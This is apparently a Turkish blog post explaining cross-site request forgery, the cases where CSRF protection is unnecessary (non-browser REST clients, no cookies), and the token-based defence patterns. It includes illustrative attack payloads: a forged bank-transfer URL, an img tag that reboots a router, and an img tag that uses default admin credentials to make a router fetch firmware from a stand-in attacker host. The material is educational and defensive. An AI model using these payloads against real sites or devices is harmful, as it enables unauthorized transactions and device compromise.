27 Aralık 2019 Cuma

Cross Site Request Forgery - CSRF - Tarayıcıda Kullanıcı Adına İşlem Yapmak - REST İçin Gerekmez

Giriş
İnternet en başından beri cross site çalışacak şekilde tasarlandığı için bu çalışma şeklini ortadan kaldırmak mümkün değil. Bu yüzden CSRF tedbirlerini almak lazım.

CSRF Saldırının Amacı Nedir?
Açıklaması şöyle
CSRF is a vulnerability where an attacker can execute an action on behalf of a user without their knowledge or consent by tricking them into clicking a link or submitting a form. This vulnerability can be mitigated by using CSRF tokens to ensure that requests originate from the intended user.

Açıklaması şöyle. Yani açık olan bir oturumda (session) kullanıcının haberi olmadan bir işlem yapmaktır.
This attack is not used to steal auth tokens; instead, it allows an attacker to piggyback on an existing active session.
Kullanıcı Adına İstek Gönderilir
Açıklaması şöyle.
As the attacker cannot read the response, it is not of any use to force the victim to retrieve data. CSRF only targets state-changing requests such as changing credentials, transferring funds, modifying settings, etc.
CSRF, gönderilen isteğin reddedilmemesi için genellikle kullanıcının halihazırda giriş yapmış veya doğrulanmış olmasına dayanır. Açıklaması şöyle.
Typically the attacker takes advantage of the fact that the user is already authenticated.
CSRF isteğinin gönderilebilmesi için kurbanın genellikle bir linke tıklaması veya bir siteyi ziyaret etmesi gerekir. Açıklaması şöyle.
The user can be compromised when clicking a link or visiting a page with the link embedded. The latter for example could be an img tag.
Örnek
Örneğin saldırgan bir ticari reklam sitesinden reklam satın alır ve reklamın içine abcbank bankasındaki 1234 numaralı hesabına 10 TL aktarılmasını isteyen bir url yerleştirir. URL şöyledir.
https://abcbank.com/send.php?amount=10&account=1234
Reklam sitesini ziyaret eden kurban, eğer bankaya zaten giriş yapmış ise, farkında olmadan kendi hesabından saldırganına hesabına 10 TL aktarır.

img
Örnek
Şöyle yapılır. Yerel ağdaki modem yeniden başlatılır.
<img src="http://192.168.1.1/reboot_the_router?force=true">
Örnek
Şöyle yapılır. Resim ile beraber farkında olmadan bir dosya daha indirilir.
<img src="http://admin:admin@192.168.0.1/updateFirmware.cgi?file=hxxp://hax.com/hax.bin&confirmUpgrade=true"/>
CSRF Çözümleri
1. Tarayıcı yerine REST kullanmak
2. Cookie kullanmamak

CSRF ve REST
Eğer sadece REST kullanıyorsak yani tarayıcı yoksa, CSRF gerekmez. Açıklaması şöyle
Our recommendation is to use CSRF protection for any request that could be processed by a browser by normal users. If you are only creating a service that is used by non-browser clients, you will likely want to disable CSRF protection.
REST ile CSRF gerekmemesini açıklaması şöyle. REST çağrıları kodla yapılabildiği için kodla her şeyi doldurup göndermek mümkün, dolayısıyla CSRF gerekmiyor.
A non-browser client will be in control of both the token and the cookie so can make them match (if it can get the cookie at all). So there's no point having complicated CSRF protection if the service is never going to be accessed by a browser.
CSRF ve Cookie
Cookie kullanılmıyorsa, CSRF saldırısı olamaz.  Açıklaması şöyle
No cookies = No CSRF

It really is that simple. Browsers send cookies along with all requests. CSRF attacks depend upon this behavior. If you do not use cookies, and don't rely on cookies for authentication, then there is absolutely no room for CSRF attacks, and no reason to put in CSRF protection. If you have cookies, especially if you use them for authentication, then you need CSRF protection. If all you want to know is "Do I need CSRF protection for my API endpoint?" you can stop right here and leave with your answer. Otherwise, the devil is in the details.

Tarayıcı Kullanıyorsak CSRF Çözümleri

Çözümler şu mantığa dayanıyor. 
Sunucu, tarayıcıya oturum başlayınca gizli bir bilgi gönderir ve tarayıcı isteğinde bu bilginin aynı olup olmadığını kontrol eder.

Çözümler şöyle.

1. the "Synchronizer token" pattern
Formlarda kullanılır. Açıklaması şöyle. Sunucu session bilgisi saklar.
The traditional way (the "Synchronizer token" pattern) usually involves setting a unique valid Token value for each request and then verifying that unique value when the request is subsequently sent in. It is usually done by setting a hidden form field. The token value is usually short lived and associated to that session, so if a hacker tries to reuse a value they saw previously on the page, or tries to guess the value they will likely fail. So only requests from your application will work and forged requests from outside your application/domain (aka cross site request forgery) will fail.

The downside of that is it requires your application to set this hidden token on all HTML forms. These pages now have to be dynamically generated by an application, when perhaps previously they were static HTML. It can also break the back button (as you need to refresh the form to regenerate another unique CSRF value). You also now need to keep track of valid tokens on the server side and check any requests use a valid token. This can take quite a bit of extra effort to implement and maintain going forward.
Örnek - Yanlış Form
Şöyle yaparız
<form method="post" action="submit">
  <input type="text" name="title">
  <input type="text" name="note">
  <input type="submit" value="submit">
  <!-- NO TOKEN TO PREVENT CSRF HERE!!! -->
</form>
Örnek
<form action="/change-password" method="POST">
  <input type="hidden" name="csrf-token" value="xyz">
  <input type="password" name="new-password">
  <input type="submit" value="Change Password">
</form>
2. the "Cookie-to-header token" pattern
Açıklaması şöyle. Cookie'deki bilgi JavaScript tarafından http header içinde gönderilir. Sunucu session bilgisi saklar.
An alternative approach (called the "Cookie-to-header token" pattern) is to set a Cookie once per session and the have JavaScript read that cookie and set a custom HTTP header (often called X-CSRF-TOKEN or X-XSRF-TOKEN or just XSRF-TOKEN) with that value. Any requests will send both the header (set by Javascript) and the cookie (set by the browser as a standard HTTP header) and then the server can check that value in the X-CSRF-TOKEN header matches the value in the cookie header. The idea being that only JavaScript run on the same domain would have access to the cookie, so JavaScript from another domain couldn't set this header to the right value (assuming the page is not vulnerable to XSS that would give access to this cookie). Even fake links (e.g. in a phishing email) would not work either, as even though they would appear to come from the right domain, only the cookie will be set but not X-CSRF-TOKEN header.

This can be MUCH easier to implement than the Synchronizer token pattern as you don't need to set the token for each call to each form, and the check is relatively simple too (just check the cookie matches the header) rather than tracking CSRF tokens validity. All you need is to set a cookie to a random value for each session. Some front end frameworks will even automatically generate the header for you if they see the cookie (e.g. AngularJS does this for example).
3. the "Double Submit Cookie" pattern
Cookie-to-header ile benzeşir ancak  biraz farklı. Açıklaması şöyle. Cookie bir form alanı tarafından gönderilir ancak bu sefer sunucu state saklamaz. Yani session ile cookie eşleşmesi yapmaz. Tarayıcı tarafından form içinde gönderilen bilgi doğrulama için yeterlidir.
The downside of Cookie-to-header is that it requires JavaScript to work and also it will only work for requests the JavaScript makes (e.g. XHR requests) - regular HTML form requests would not set the header. A variation on this (the "Double Submit Cookie" pattern) puts the X-CSRF-TOKEN value in a hidden form field rather than in an HTTP Header to get around this but still keep the server side logic simpler than the traditional Synchronizer token pattern.
Açıklaması şöyle
When a user authenticates to a site, the site should generate a (cryptographically strong) pseudo-random value and set it as a cookie on the user’s machine separate from the session ID. The server does not have to save this value in any way, that's why this pattern is also called Stateless CSRF Defense.

The site then requires that every transaction request include this random value as a hidden form value (or other request parameter). A cross origin attacker cannot read any data sent from the server or modify cookie values, per the same-origin policy.

In the case of this mitigation technique the job of the client is very simple, just retrieve the CSRF cookie from the response and add it into a special header to all the requests


Hiç yorum yok:

Yorum Gönder